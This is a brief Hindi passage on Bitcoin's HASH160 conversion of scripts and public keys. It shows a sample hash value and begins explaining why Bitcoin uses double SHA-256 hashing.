सीरियलाइज़्ड स्क्रिप्ट या सार्वजनिक कुंजियों को HASH160 में परिवर्तित करने से Bitcoin ब्लॉकचेन पर डेटा की कुशल पहचान, अनुक्रमण और सुरक्षा संभव होती है।
प्राप्त हैश:
{'06612b7cb2027e80ec340f9e02ffe4a9a59ba762'}टीम ने सटीक हैश तैयार किया है जो जटिल स्क्रिप्ट और Bitcoin नेटवर्क पर लेन-देन को संग्रहीत और सत्यापित करने के लिए उपयोग किए जाने वाले कॉम्पैक्ट प्रारूप के बीच की कड़ी के रूप में कार्य करता है।

सातोशी नाकामोटो ने Bitcoin के हैशिंग एल्गोरिदम में SHA-256 डबल हैशिंग (यानी, SHA-256 को लगातार दो बार लागू करना) चुनने का निर्णय कई महत्वपूर्ण कारणों से लिया जो नेटवर्क की क्रिप्टोग्राफिक ताकत और सुरक्षा को बढ़ाते हैं।